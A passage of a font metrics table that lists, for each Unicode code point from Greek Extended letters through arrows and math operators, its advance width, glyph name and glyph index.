U 7981 ; WX 1183 ; N uni1F2D ; G 1711
U 7982 ; WX 1098 ; N uni1F2E ; G 1712
U 7983 ; WX 1095 ; N uni1F2F ; G 1713
U 7984 ; WX 392 ; N uni1F30 ; G 1714
U 7985 ; WX 392 ; N uni1F31 ; G 1715
U 7986 ; WX 392 ; N uni1F32 ; G 1716
U 7987 ; WX 392 ; N uni1F33 ; G 1717
U 7988 ; WX 392 ; N uni1F34 ; G 1718
U 7989 ; WX 392 ; N uni1F35 ; G 1719
U 7990 ; WX 392 ; N uni1F36 ; G 1720
U 7991 ; WX 392 ; N uni1F37 ; G 1721
U 7992 ; WX 521 ; N uni1F38 ; G 1722
U 7993 ; WX 512 ; N uni1F39 ; G 1723
U 7994 ; WX 735 ; N uni1F3A ; G 1724
U 7995 ; WX 738 ; N uni1F3B ; G 1725
U 7996 ; WX 679 ; N uni1F3C ; G 1726
U 7997 ; WX 706 ; N uni1F3D ; G 1727
U 7998 ; WX 624 ; N uni1F3E ; G 1728
U 7999 ; WX 615 ; N uni1F3F ; G 1729
U 8000 ; WX 602 ; N uni1F40 ; G 1730
U 8001 ; WX 602 ; N uni1F41 ; G 1731
U 8002 ; WX 602 ; N uni1F42 ; G 1732
U 8003 ; WX 602 ; N uni1F43 ; G 1733
U 8004 ; WX 602 ; N uni1F44 ; G 1734
U 8005 ; WX 602 ; N uni1F45 ; G 1735
U 8008 ; WX 820 ; N uni1F48 ; G 1736
U 8009 ; WX 859 ; N uni1F49 ; G 1737
U 8010 ; WX 1120 ; N uni1F4A ; G 1738
U 8011 ; WX 1127 ; N uni1F4B ; G 1739
U 8012 ; WX 937 ; N uni1F4C ; G 1740
U 8013 ; WX 964 ; N uni1F4D ; G 1741
U 8016 ; WX 608 ; N uni1F50 ; G 1742
U 8017 ; WX 608 ; N uni1F51 ; G 1743
U 8018 ; WX 608 ; N uni1F52 ; G 1744
U 8019 ; WX 608 ; N uni1F53 ; G 1745
U 8020 ; WX 608 ; N uni1F54 ; G 1746
U 8021 ; WX 608 ; N uni1F55 ; G 1747
U 8022 ; WX 608 ; N uni1F56 ; G 1748
U 8023 ; WX 608 ; N uni1F57 ; G 1749
U 8025 ; WX 851 ; N uni1F59 ; G 1750
U 8027 ; WX 1079 ; N uni1F5B ; G 1751
U 8029 ; WX 1044 ; N uni1F5D ; G 1752
U 8031 ; WX 953 ; N uni1F5F ; G 1753
U 8032 ; WX 815 ; N uni1F60 ; G 1754
U 8033 ; WX 815 ; N uni1F61 ; G 1755
U 8034 ; WX 815 ; N uni1F62 ; G 1756
U 8035 ; WX 815 ; N uni1F63 ; G 1757
U 8036 ; WX 815 ; N uni1F64 ; G 1758
U 8037 ; WX 815 ; N uni1F65 ; G 1759
U 8038 ; WX 815 ; N uni1F66 ; G 1760
U 8039 ; WX 815 ; N uni1F67 ; G 1761
U 8040 ; WX 829 ; N uni1F68 ; G 1762
U 8041 ; WX 870 ; N uni1F69 ; G 1763
U 8042 ; WX 1131 ; N uni1F6A ; G 1764
U 8043 ; WX 1137 ; N uni1F6B ; G 1765
U 8044 ; WX 946 ; N uni1F6C ; G 1766
U 8045 ; WX 976 ; N uni1F6D ; G 1767
U 8046 ; WX 938 ; N uni1F6E ; G 1768
U 8047 ; WX 970 ; N uni1F6F ; G 1769
U 8048 ; WX 675 ; N uni1F70 ; G 1770
U 8049 ; WX 675 ; N uni1F71 ; G 1771
U 8050 ; WX 537 ; N uni1F72 ; G 1772
U 8051 ; WX 537 ; N uni1F73 ; G 1773
U 8052 ; WX 599 ; N uni1F74 ; G 1774
U 8053 ; WX 599 ; N uni1F75 ; G 1775
U 8054 ; WX 392 ; N uni1F76 ; G 1776
U 8055 ; WX 392 ; N uni1F77 ; G 1777
U 8056 ; WX 602 ; N uni1F78 ; G 1778
U 8057 ; WX 602 ; N uni1F79 ; G 1779
U 8058 ; WX 608 ; N uni1F7A ; G 1780
U 8059 ; WX 608 ; N uni1F7B ; G 1781
U 8060 ; WX 815 ; N uni1F7C ; G 1782
U 8061 ; WX 815 ; N uni1F7D ; G 1783
U 8064 ; WX 675 ; N uni1F80 ; G 1784
U 8065 ; WX 675 ; N uni1F81 ; G 1785
U 8066 ; WX 675 ; N uni1F82 ; G 1786
U 8067 ; WX 675 ; N uni1F83 ; G 1787
U 8068 ; WX 675 ; N uni1F84 ; G 1788
U 8069 ; WX 675 ; N uni1F85 ; G 1789
U 8070 ; WX 675 ; N uni1F86 ; G 1790
U 8071 ; WX 675 ; N uni1F87 ; G 1791
U 8072 ; WX 722 ; N uni1F88 ; G 1792
U 8073 ; WX 722 ; N uni1F89 ; G 1793
U 8074 ; WX 869 ; N uni1F8A ; G 1794
U 8075 ; WX 869 ; N uni1F8B ; G 1795
U 8076 ; WX 734 ; N uni1F8C ; G 1796
U 8077 ; WX 763 ; N uni1F8D ; G 1797
U 8078 ; WX 722 ; N uni1F8E ; G 1798
U 8079 ; WX 722 ; N uni1F8F ; G 1799
U 8080 ; WX 599 ; N uni1F90 ; G 1800
U 8081 ; WX 599 ; N uni1F91 ; G 1801
U 8082 ; WX 599 ; N uni1F92 ; G 1802
U 8083 ; WX 599 ; N uni1F93 ; G 1803
U 8084 ; WX 599 ; N uni1F94 ; G 1804
U 8085 ; WX 599 ; N uni1F95 ; G 1805
U 8086 ; WX 599 ; N uni1F96 ; G 1806
U 8087 ; WX 599 ; N uni1F97 ; G 1807
U 8088 ; WX 998 ; N uni1F98 ; G 1808
U 8089 ; WX 992 ; N uni1F99 ; G 1809
U 8090 ; WX 1212 ; N uni1F9A ; G 1810
U 8091 ; WX 1224 ; N uni1F9B ; G 1811
U 8092 ; WX 1159 ; N uni1F9C ; G 1812
U 8093 ; WX 1183 ; N uni1F9D ; G 1813
U 8094 ; WX 1098 ; N uni1F9E ; G 1814
U 8095 ; WX 1095 ; N uni1F9F ; G 1815
U 8096 ; WX 815 ; N uni1FA0 ; G 1816
U 8097 ; WX 815 ; N uni1FA1 ; G 1817
U 8098 ; WX 815 ; N uni1FA2 ; G 1818
U 8099 ; WX 815 ; N uni1FA3 ; G 1819
U 8100 ; WX 815 ; N uni1FA4 ; G 1820
U 8101 ; WX 815 ; N uni1FA5 ; G 1821
U 8102 ; WX 815 ; N uni1FA6 ; G 1822
U 8103 ; WX 815 ; N uni1FA7 ; G 1823
U 8104 ; WX 829 ; N uni1FA8 ; G 1824
U 8105 ; WX 870 ; N uni1FA9 ; G 1825
U 8106 ; WX 1131 ; N uni1FAA ; G 1826
U 8107 ; WX 1137 ; N uni1FAB ; G 1827
U 8108 ; WX 946 ; N uni1FAC ; G 1828
U 8109 ; WX 976 ; N uni1FAD ; G 1829
U 8110 ; WX 938 ; N uni1FAE ; G 1830
U 8111 ; WX 970 ; N uni1FAF ; G 1831
U 8112 ; WX 675 ; N uni1FB0 ; G 1832
U 8113 ; WX 675 ; N uni1FB1 ; G 1833
U 8114 ; WX 675 ; N uni1FB2 ; G 1834
U 8115 ; WX 675 ; N uni1FB3 ; G 1835
U 8116 ; WX 675 ; N uni1FB4 ; G 1836
U 8118 ; WX 675 ; N uni1FB6 ; G 1837
U 8119 ; WX 675 ; N uni1FB7 ; G 1838
U 8120 ; WX 722 ; N uni1FB8 ; G 1839
U 8121 ; WX 722 ; N uni1FB9 ; G 1840
U 8122 ; WX 722 ; N uni1FBA ; G 1841
U 8123 ; WX 722 ; N uni1FBB ; G 1842
U 8124 ; WX 722 ; N uni1FBC ; G 1843
U 8125 ; WX 500 ; N uni1FBD ; G 1844
U 8126 ; WX 500 ; N uni1FBE ; G 1845
U 8127 ; WX 500 ; N uni1FBF ; G 1846
U 8128 ; WX 500 ; N uni1FC0 ; G 1847
U 8129 ; WX 500 ; N uni1FC1 ; G 1848
U 8130 ; WX 599 ; N uni1FC2 ; G 1849
U 8131 ; WX 599 ; N uni1FC3 ; G 1850
U 8132 ; WX 599 ; N uni1FC4 ; G 1851
U 8134 ; WX 599 ; N uni1FC6 ; G 1852
U 8135 ; WX 599 ; N uni1FC7 ; G 1853
U 8136 ; WX 912 ; N uni1FC8 ; G 1854
U 8137 ; WX 900 ; N uni1FC9 ; G 1855
U 8138 ; WX 1063 ; N uni1FCA ; G 1856
U 8139 ; WX 1039 ; N uni1FCB ; G 1857
U 8140 ; WX 872 ; N uni1FCC ; G 1858
U 8141 ; WX 500 ; N uni1FCD ; G 1859
U 8142 ; WX 500 ; N uni1FCE ; G 1860
U 8143 ; WX 500 ; N uni1FCF ; G 1861
U 8144 ; WX 392 ; N uni1FD0 ; G 1862
U 8145 ; WX 392 ; N uni1FD1 ; G 1863
U 8146 ; WX 392 ; N uni1FD2 ; G 1864
U 8147 ; WX 392 ; N uni1FD3 ; G 1865
U 8150 ; WX 392 ; N uni1FD6 ; G 1866
U 8151 ; WX 392 ; N uni1FD7 ; G 1867
U 8152 ; WX 395 ; N uni1FD8 ; G 1868
U 8153 ; WX 395 ; N uni1FD9 ; G 1869
U 8154 ; WX 588 ; N uni1FDA ; G 1870
U 8155 ; WX 562 ; N uni1FDB ; G 1871
U 8157 ; WX 500 ; N uni1FDD ; G 1872
U 8158 ; WX 500 ; N uni1FDE ; G 1873
U 8159 ; WX 500 ; N uni1FDF ; G 1874
U 8160 ; WX 608 ; N uni1FE0 ; G 1875
U 8161 ; WX 608 ; N uni1FE1 ; G 1876
U 8162 ; WX 608 ; N uni1FE2 ; G 1877
U 8163 ; WX 608 ; N uni1FE3 ; G 1878
U 8164 ; WX 588 ; N uni1FE4 ; G 1879
U 8165 ; WX 588 ; N uni1FE5 ; G 1880
U 8166 ; WX 608 ; N uni1FE6 ; G 1881
U 8167 ; WX 608 ; N uni1FE7 ; G 1882
U 8168 ; WX 660 ; N uni1FE8 ; G 1883
U 8169 ; WX 660 ; N uni1FE9 ; G 1884
U 8170 ; WX 921 ; N uni1FEA ; G 1885
U 8171 ; WX 897 ; N uni1FEB ; G 1886
U 8172 ; WX 790 ; N uni1FEC ; G 1887
U 8173 ; WX 500 ; N uni1FED ; G 1888
U 8174 ; WX 500 ; N uni1FEE ; G 1889
U 8175 ; WX 500 ; N uni1FEF ; G 1890
U 8178 ; WX 815 ; N uni1FF2 ; G 1891
U 8179 ; WX 815 ; N uni1FF3 ; G 1892
U 8180 ; WX 815 ; N uni1FF4 ; G 1893
U 8182 ; WX 815 ; N uni1FF6 ; G 1894
U 8183 ; WX 815 ; N uni1FF7 ; G 1895
U 8184 ; WX 961 ; N uni1FF8 ; G 1896
U 8185 ; WX 835 ; N uni1FF9 ; G 1897
U 8186 ; WX 984 ; N uni1FFA ; G 1898
U 8187 ; WX 853 ; N uni1FFB ; G 1899
U 8188 ; WX 829 ; N uni1FFC ; G 1900
U 8189 ; WX 500 ; N uni1FFD ; G 1901
U 8190 ; WX 500 ; N uni1FFE ; G 1902
U 8192 ; WX 500 ; N uni2000 ; G 1903
U 8193 ; WX 1000 ; N uni2001 ; G 1904
U 8194 ; WX 500 ; N uni2002 ; G 1905
U 8195 ; WX 1000 ; N uni2003 ; G 1906
U 8196 ; WX 330 ; N uni2004 ; G 1907
U 8197 ; WX 250 ; N uni2005 ; G 1908
U 8198 ; WX 167 ; N uni2006 ; G 1909
U 8199 ; WX 636 ; N uni2007 ; G 1910
U 8200 ; WX 318 ; N uni2008 ; G 1911
U 8201 ; WX 200 ; N uni2009 ; G 1912
U 8202 ; WX 100 ; N uni200A ; G 1913
U 8203 ; WX 0 ; N uni200B ; G 1914
U 8204 ; WX 0 ; N uni200C ; G 1915
U 8205 ; WX 0 ; N uni200D ; G 1916
U 8206 ; WX 0 ; N uni200E ; G 1917
U 8207 ; WX 0 ; N uni200F ; G 1918
U 8208 ; WX 338 ; N uni2010 ; G 1919
U 8209 ; WX 338 ; N uni2011 ; G 1920
U 8210 ; WX 636 ; N figuredash ; G 1921
U 8211 ; WX 500 ; N endash ; G 1922
U 8212 ; WX 1000 ; N emdash ; G 1923
U 8213 ; WX 1000 ; N uni2015 ; G 1924
U 8214 ; WX 500 ; N uni2016 ; G 1925
U 8215 ; WX 500 ; N underscoredbl ; G 1926
U 8216 ; WX 318 ; N quoteleft ; G 1927
U 8217 ; WX 318 ; N quoteright ; G 1928
U 8218 ; WX 318 ; N quotesinglbase ; G 1929
U 8219 ; WX 318 ; N quotereversed ; G 1930
U 8220 ; WX 511 ; N quotedblleft ; G 1931
U 8221 ; WX 511 ; N quotedblright ; G 1932
U 8222 ; WX 518 ; N quotedblbase ; G 1933
U 8223 ; WX 511 ; N uni201F ; G 1934
U 8224 ; WX 500 ; N dagger ; G 1935
U 8225 ; WX 500 ; N daggerdbl ; G 1936
U 8226 ; WX 590 ; N bullet ; G 1937
U 8227 ; WX 590 ; N uni2023 ; G 1938
U 8228 ; WX 334 ; N onedotenleader ; G 1939
U 8229 ; WX 667 ; N twodotenleader ; G 1940
U 8230 ; WX 1000 ; N ellipsis ; G 1941
U 8234 ; WX 0 ; N uni202A ; G 1942
U 8235 ; WX 0 ; N uni202B ; G 1943
U 8236 ; WX 0 ; N uni202C ; G 1944
U 8237 ; WX 0 ; N uni202D ; G 1945
U 8238 ; WX 0 ; N uni202E ; G 1946
U 8239 ; WX 200 ; N uni202F ; G 1947
U 8240 ; WX 1342 ; N perthousand ; G 1948
U 8241 ; WX 1734 ; N uni2031 ; G 1949
U 8242 ; WX 227 ; N minute ; G 1950
U 8243 ; WX 374 ; N second ; G 1951
U 8244 ; WX 520 ; N uni2034 ; G 1952
U 8245 ; WX 227 ; N uni2035 ; G 1953
U 8246 ; WX 374 ; N uni2036 ; G 1954
U 8247 ; WX 520 ; N uni2037 ; G 1955
U 8248 ; WX 339 ; N uni2038 ; G 1956
U 8249 ; WX 400 ; N guilsinglleft ; G 1957
U 8250 ; WX 400 ; N guilsinglright ; G 1958
U 8252 ; WX 527 ; N exclamdbl ; G 1959
U 8253 ; WX 536 ; N uni203D ; G 1960
U 8254 ; WX 500 ; N uni203E ; G 1961
U 8258 ; WX 1000 ; N uni2042 ; G 1962
U 8260 ; WX 167 ; N fraction ; G 1963
U 8261 ; WX 390 ; N uni2045 ; G 1964
U 8262 ; WX 390 ; N uni2046 ; G 1965
U 8263 ; WX 976 ; N uni2047 ; G 1966
U 8264 ; WX 753 ; N uni2048 ; G 1967
U 8265 ; WX 753 ; N uni2049 ; G 1968
U 8267 ; WX 636 ; N uni204B ; G 1969
U 8268 ; WX 500 ; N uni204C ; G 1970
U 8269 ; WX 500 ; N uni204D ; G 1971
U 8270 ; WX 500 ; N uni204E ; G 1972
U 8271 ; WX 337 ; N uni204F ; G 1973
U 8273 ; WX 500 ; N uni2051 ; G 1974
U 8274 ; WX 450 ; N uni2052 ; G 1975
U 8275 ; WX 1000 ; N uni2053 ; G 1976
U 8279 ; WX 663 ; N uni2057 ; G 1977
U 8287 ; WX 222 ; N uni205F ; G 1978
U 8288 ; WX 0 ; N uni2060 ; G 1979
U 8289 ; WX 0 ; N uni2061 ; G 1980
U 8290 ; WX 0 ; N uni2062 ; G 1981
U 8291 ; WX 0 ; N uni2063 ; G 1982
U 8292 ; WX 0 ; N uni2064 ; G 1983
U 8298 ; WX 0 ; N uni206A ; G 1984
U 8299 ; WX 0 ; N uni206B ; G 1985
U 8300 ; WX 0 ; N uni206C ; G 1986
U 8301 ; WX 0 ; N uni206D ; G 1987
U 8302 ; WX 0 ; N uni206E ; G 1988
U 8303 ; WX 0 ; N uni206F ; G 1989
U 8304 ; WX 401 ; N uni2070 ; G 1990
U 8305 ; WX 201 ; N uni2071 ; G 1991
U 8308 ; WX 401 ; N uni2074 ; G 1992
U 8309 ; WX 401 ; N uni2075 ; G 1993
U 8310 ; WX 401 ; N uni2076 ; G 1994
U 8311 ; WX 401 ; N uni2077 ; G 1995
U 8312 ; WX 401 ; N uni2078 ; G 1996
U 8313 ; WX 401 ; N uni2079 ; G 1997
U 8314 ; WX 528 ; N uni207A ; G 1998
U 8315 ; WX 528 ; N uni207B ; G 1999
U 8316 ; WX 528 ; N uni207C ; G 2000
U 8317 ; WX 246 ; N uni207D ; G 2001
U 8318 ; WX 246 ; N uni207E ; G 2002
U 8319 ; WX 433 ; N uni207F ; G 2003
U 8320 ; WX 401 ; N uni2080 ; G 2004
U 8321 ; WX 401 ; N uni2081 ; G 2005
U 8322 ; WX 401 ; N uni2082 ; G 2006
U 8323 ; WX 401 ; N uni2083 ; G 2007
U 8324 ; WX 401 ; N uni2084 ; G 2008
U 8325 ; WX 401 ; N uni2085 ; G 2009
U 8326 ; WX 401 ; N uni2086 ; G 2010
U 8327 ; WX 401 ; N uni2087 ; G 2011
U 8328 ; WX 401 ; N uni2088 ; G 2012
U 8329 ; WX 401 ; N uni2089 ; G 2013
U 8330 ; WX 528 ; N uni208A ; G 2014
U 8331 ; WX 528 ; N uni208B ; G 2015
U 8332 ; WX 528 ; N uni208C ; G 2016
U 8333 ; WX 246 ; N uni208D ; G 2017
U 8334 ; WX 246 ; N uni208E ; G 2018
U 8336 ; WX 386 ; N uni2090 ; G 2019
U 8337 ; WX 387 ; N uni2091 ; G 2020
U 8338 ; WX 385 ; N uni2092 ; G 2021
U 8339 ; WX 424 ; N uni2093 ; G 2022
U 8340 ; WX 387 ; N uni2094 ; G 2023
U 8341 ; WX 433 ; N uni2095 ; G 2024
U 8342 ; WX 365 ; N uni2096 ; G 2025
U 8343 ; WX 243 ; N uni2097 ; G 2026
U 8344 ; WX 613 ; N uni2098 ; G 2027
U 8345 ; WX 433 ; N uni2099 ; G 2028
U 8346 ; WX 400 ; N uni209A ; G 2029
U 8347 ; WX 337 ; N uni209B ; G 2030
U 8348 ; WX 247 ; N uni209C ; G 2031
U 8358 ; WX 636 ; N uni20A6 ; G 2032
U 8364 ; WX 636 ; N Euro ; G 2033
U 8367 ; WX 1057 ; N uni20AF ; G 2034
U 8369 ; WX 706 ; N uni20B1 ; G 2035
U 8372 ; WX 780 ; N uni20B4 ; G 2036
U 8373 ; WX 636 ; N uni20B5 ; G 2037
U 8376 ; WX 636 ; N uni20B8 ; G 2038
U 8377 ; WX 636 ; N uni20B9 ; G 2039
U 8378 ; WX 636 ; N uni20BA ; G 2040
U 8381 ; WX 636 ; N uni20BD ; G 2041
U 8450 ; WX 796 ; N uni2102 ; G 2042
U 8451 ; WX 1119 ; N uni2103 ; G 2043
U 8457 ; WX 1047 ; N uni2109 ; G 2044
U 8461 ; WX 945 ; N uni210D ; G 2045
U 8462 ; WX 644 ; N uni210E ; G 2046
U 8463 ; WX 644 ; N uni210F ; G 2047
U 8469 ; WX 914 ; N uni2115 ; G 2048
U 8470 ; WX 946 ; N uni2116 ; G 2049
U 8473 ; WX 752 ; N uni2119 ; G 2050
U 8474 ; WX 871 ; N uni211A ; G 2051
U 8477 ; WX 831 ; N uni211D ; G 2052
U 8482 ; WX 1000 ; N trademark ; G 2053
U 8484 ; WX 730 ; N uni2124 ; G 2054
U 8486 ; WX 829 ; N uni2126 ; G 2055
U 8487 ; WX 829 ; N uni2127 ; G 2056
U 8490 ; WX 747 ; N uni212A ; G 2057
U 8491 ; WX 722 ; N uni212B ; G 2058
U 8498 ; WX 694 ; N uni2132 ; G 2059
U 8508 ; WX 732 ; N uni213C ; G 2060
U 8509 ; WX 660 ; N uni213D ; G 2061
U 8510 ; WX 710 ; N uni213E ; G 2062
U 8511 ; WX 944 ; N uni213F ; G 2063
U 8512 ; WX 714 ; N uni2140 ; G 2064
U 8513 ; WX 775 ; N uni2141 ; G 2065
U 8514 ; WX 557 ; N uni2142 ; G 2066
U 8515 ; WX 557 ; N uni2143 ; G 2067
U 8516 ; WX 611 ; N uni2144 ; G 2068
U 8517 ; WX 867 ; N uni2145 ; G 2069
U 8518 ; WX 699 ; N uni2146 ; G 2070
U 8519 ; WX 636 ; N uni2147 ; G 2071
U 8520 ; WX 380 ; N uni2148 ; G 2072
U 8521 ; WX 362 ; N uni2149 ; G 2073
U 8523 ; WX 890 ; N uni214B ; G 2074
U 8526 ; WX 514 ; N uni214E ; G 2075
U 8528 ; WX 969 ; N uni2150 ; G 2076
U 8529 ; WX 969 ; N uni2151 ; G 2077
U 8530 ; WX 1370 ; N uni2152 ; G 2078
U 8531 ; WX 969 ; N onethird ; G 2079
U 8532 ; WX 969 ; N twothirds ; G 2080
U 8533 ; WX 969 ; N uni2155 ; G 2081
U 8534 ; WX 969 ; N uni2156 ; G 2082
U 8535 ; WX 969 ; N uni2157 ; G 2083
U 8536 ; WX 969 ; N uni2158 ; G 2084
U 8537 ; WX 969 ; N uni2159 ; G 2085
U 8538 ; WX 969 ; N uni215A ; G 2086
U 8539 ; WX 969 ; N oneeighth ; G 2087
U 8540 ; WX 969 ; N threeeighths ; G 2088
U 8541 ; WX 969 ; N fiveeighths ; G 2089
U 8542 ; WX 969 ; N seveneighths ; G 2090
U 8543 ; WX 568 ; N uni215F ; G 2091
U 8544 ; WX 395 ; N uni2160 ; G 2092
U 8545 ; WX 680 ; N uni2161 ; G 2093
U 8546 ; WX 964 ; N uni2162 ; G 2094
U 8547 ; WX 999 ; N uni2163 ; G 2095
U 8548 ; WX 722 ; N uni2164 ; G 2096
U 8549 ; WX 1006 ; N uni2165 ; G 2097
U 8550 ; WX 1291 ; N uni2166 ; G 2098
U 8551 ; WX 1575 ; N uni2167 ; G 2099
U 8552 ; WX 965 ; N uni2168 ; G 2100
U 8553 ; WX 712 ; N uni2169 ; G 2101
U 8554 ; WX 969 ; N uni216A ; G 2102
U 8555 ; WX 1253 ; N uni216B ; G 2103
U 8556 ; WX 664 ; N uni216C ; G 2104
U 8557 ; WX 765 ; N uni216D ; G 2105
U 8558 ; WX 802 ; N uni216E ; G 2106
U 8559 ; WX 1024 ; N uni216F ; G 2107
U 8560 ; WX 320 ; N uni2170 ; G 2108
U 8561 ; WX 640 ; N uni2171 ; G 2109
U 8562 ; WX 959 ; N uni2172 ; G 2110
U 8563 ; WX 885 ; N uni2173 ; G 2111
U 8564 ; WX 565 ; N uni2174 ; G 2112
U 8565 ; WX 885 ; N uni2175 ; G 2113
U 8566 ; WX 1205 ; N uni2176 ; G 2114
U 8567 ; WX 1524 ; N uni2177 ; G 2115
U 8568 ; WX 884 ; N uni2178 ; G 2116
U 8569 ; WX 564 ; N uni2179 ; G 2117
U 8570 ; WX 884 ; N uni217A ; G 2118
U 8571 ; WX 1204 ; N uni217B ; G 2119
U 8572 ; WX 320 ; N uni217C ; G 2120
U 8573 ; WX 560 ; N uni217D ; G 2121
U 8574 ; WX 640 ; N uni217E ; G 2122
U 8575 ; WX 948 ; N uni217F ; G 2123
U 8576 ; WX 1206 ; N uni2180 ; G 2124
U 8577 ; WX 802 ; N uni2181 ; G 2125
U 8578 ; WX 1206 ; N uni2182 ; G 2126
U 8579 ; WX 765 ; N uni2183 ; G 2127
U 8580 ; WX 560 ; N uni2184 ; G 2128
U 8581 ; WX 765 ; N uni2185 ; G 2129
U 8585 ; WX 969 ; N uni2189 ; G 2130
U 8592 ; WX 838 ; N arrowleft ; G 2131
U 8593 ; WX 838 ; N arrowup ; G 2132
U 8594 ; WX 838 ; N arrowright ; G 2133
U 8595 ; WX 838 ; N arrowdown ; G 2134
U 8596 ; WX 838 ; N arrowboth ; G 2135
U 8597 ; WX 838 ; N arrowupdn ; G 2136
U 8598 ; WX 838 ; N uni2196 ; G 2137
U 8599 ; WX 838 ; N uni2197 ; G 2138
U 8600 ; WX 838 ; N uni2198 ; G 2139
U 8601 ; WX 838 ; N uni2199 ; G 2140
U 8602 ; WX 838 ; N uni219A ; G 2141
U 8603 ; WX 838 ; N uni219B ; G 2142
U 8604 ; WX 838 ; N uni219C ; G 2143
U 8605 ; WX 838 ; N uni219D ; G 2144
U 8606 ; WX 838 ; N uni219E ; G 2145
U 8607 ; WX 838 ; N uni219F ; G 2146
U 8608 ; WX 838 ; N uni21A0 ; G 2147
U 8609 ; WX 838 ; N uni21A1 ; G 2148
U 8610 ; WX 838 ; N uni21A2 ; G 2149
U 8611 ; WX 838 ; N uni21A3 ; G 2150
U 8612 ; WX 838 ; N uni21A4 ; G 2151
U 8613 ; WX 838 ; N uni21A5 ; G 2152
U 8614 ; WX 838 ; N uni21A6 ; G 2153
U 8615 ; WX 838 ; N uni21A7 ; G 2154
U 8616 ; WX 838 ; N arrowupdnbse ; G 2155
U 8617 ; WX 838 ; N uni21A9 ; G 2156
U 8618 ; WX 838 ; N uni21AA ; G 2157
U 8619 ; WX 838 ; N uni21AB ; G 2158
U 8620 ; WX 838 ; N uni21AC ; G 2159
U 8621 ; WX 838 ; N uni21AD ; G 2160
U 8622 ; WX 838 ; N uni21AE ; G 2161
U 8623 ; WX 838 ; N uni21AF ; G 2162
U 8624 ; WX 838 ; N uni21B0 ; G 2163
U 8625 ; WX 838 ; N uni21B1 ; G 2164
U 8626 ; WX 838 ; N uni21B2 ; G 2165
U 8627 ; WX 838 ; N uni21B3 ; G 2166
U 8628 ; WX 838 ; N uni21B4 ; G 2167
U 8629 ; WX 838 ; N carriagereturn ; G 2168
U 8630 ; WX 838 ; N uni21B6 ; G 2169
U 8631 ; WX 838 ; N uni21B7 ; G 2170
U 8632 ; WX 838 ; N uni21B8 ; G 2171
U 8633 ; WX 838 ; N uni21B9 ; G 2172
U 8634 ; WX 838 ; N uni21BA ; G 2173
U 8635 ; WX 838 ; N uni21BB ; G 2174
U 8636 ; WX 838 ; N uni21BC ; G 2175
U 8637 ; WX 838 ; N uni21BD ; G 2176
U 8638 ; WX 838 ; N uni21BE ; G 2177
U 8639 ; WX 838 ; N uni21BF ; G 2178
U 8640 ; WX 838 ; N uni21C0 ; G 2179
U 8641 ; WX 838 ; N uni21C1 ; G 2180
U 8642 ; WX 838 ; N uni21C2 ; G 2181
U 8643 ; WX 838 ; N uni21C3 ; G 2182
U 8644 ; WX 838 ; N uni21C4 ; G 2183
U 8645 ; WX 838 ; N uni21C5 ; G 2184
U 8646 ; WX 838 ; N uni21C6 ; G 2185
U 8647 ; WX 838 ; N uni21C7 ; G 2186
U 8648 ; WX 838 ; N uni21C8 ; G 2187
U 8649 ; WX 838 ; N uni21C9 ; G 2188
U 8650 ; WX 838 ; N uni21CA ; G 2189
U 8651 ; WX 838 ; N uni21CB ; G 2190
U 8652 ; WX 838 ; N uni21CC ; G 2191
U 8653 ; WX 838 ; N uni21CD ; G 2192
U 8654 ; WX 838 ; N uni21CE ; G 2193
U 8655 ; WX 838 ; N uni21CF ; G 2194
U 8656 ; WX 838 ; N arrowdblleft ; G 2195
U 8657 ; WX 838 ; N arrowdblup ; G 2196
U 8658 ; WX 838 ; N arrowdblright ; G 2197
U 8659 ; WX 838 ; N arrowdbldown ; G 2198
U 8660 ; WX 838 ; N arrowdblboth ; G 2199
U 8661 ; WX 838 ; N uni21D5 ; G 2200
U 8662 ; WX 838 ; N uni21D6 ; G 2201
U 8663 ; WX 838 ; N uni21D7 ; G 2202
U 8664 ; WX 838 ; N uni21D8 ; G 2203
U 8665 ; WX 838 ; N uni21D9 ; G 2204
U 8666 ; WX 838 ; N uni21DA ; G 2205
U 8667 ; WX 838 ; N uni21DB ; G 2206
U 8668 ; WX 838 ; N uni21DC ; G 2207
U 8669 ; WX 838 ; N uni21DD ; G 2208
U 8670 ; WX 838 ; N uni21DE ; G 2209
U 8671 ; WX 838 ; N uni21DF ; G 2210
U 8672 ; WX 838 ; N uni21E0 ; G 2211
U 8673 ; WX 838 ; N uni21E1 ; G 2212
U 8674 ; WX 838 ; N uni21E2 ; G 2213
U 8675 ; WX 838 ; N uni21E3 ; G 2214
U 8676 ; WX 838 ; N uni21E4 ; G 2215
U 8677 ; WX 838 ; N uni21E5 ; G 2216
U 8678 ; WX 838 ; N uni21E6 ; G 2217
U 8679 ; WX 838 ; N uni21E7 ; G 2218
U 8680 ; WX 838 ; N uni21E8 ; G 2219
U 8681 ; WX 838 ; N uni21E9 ; G 2220
U 8682 ; WX 838 ; N uni21EA ; G 2221
U 8683 ; WX 838 ; N uni21EB ; G 2222
U 8684 ; WX 838 ; N uni21EC ; G 2223
U 8685 ; WX 838 ; N uni21ED ; G 2224
U 8686 ; WX 838 ; N uni21EE ; G 2225
U 8687 ; WX 838 ; N uni21EF ; G 2226
U 8688 ; WX 838 ; N uni21F0 ; G 2227
U 8689 ; WX 838 ; N uni21F1 ; G 2228
U 8690 ; WX 838 ; N uni21F2 ; G 2229
U 8691 ; WX 838 ; N uni21F3 ; G 2230
U 8692 ; WX 838 ; N uni21F4 ; G 2231
U 8693 ; WX 838 ; N uni21F5 ; G 2232
U 8694 ; WX 838 ; N uni21F6 ; G 2233
U 8695 ; WX 838 ; N uni21F7 ; G 2234
U 8696 ; WX 838 ; N uni21F8 ; G 2235
U 8697 ; WX 838 ; N uni21F9 ; G 2236
U 8698 ; WX 838 ; N uni21FA ; G 2237
U 8699 ; WX 838 ; N uni21FB ; G 2238
U 8700 ; WX 838 ; N uni21FC ; G 2239
U 8701 ; WX 838 ; N uni21FD ; G 2240
U 8702 ; WX 838 ; N uni21FE ; G 2241
U 8703 ; WX 838 ; N uni21FF ; G 2242
U 8704 ; WX 604 ; N universal ; G 2243
U 8706 ; WX 517 ; N partialdiff ; G 2244
U 8707 ; WX 542 ; N existential ; G 2245
U 8708 ; WX 542 ; N uni2204 ; G 2246
U 8710 ; WX 698 ; N increment ; G 2247
U 8711 ; WX 698 ; N gradient ; G 2248
U 8712 ; WX 740 ; N element ; G 2249
U 8713 ; WX 740 ; N notelement ; G 2250
U 8715 ; WX 740 ; N suchthat ; G 2251
U 8716 ; WX 740 ; N uni220C ; G 2252
U 8719 ; WX 796 ; N product ; G 2253
U 8720 ; WX 796 ; N uni2210 ; G 2254
U 8721 ; WX 714 ; N summation ; G 2255
U 8722 ; WX 838 ; N minus ; G 2256
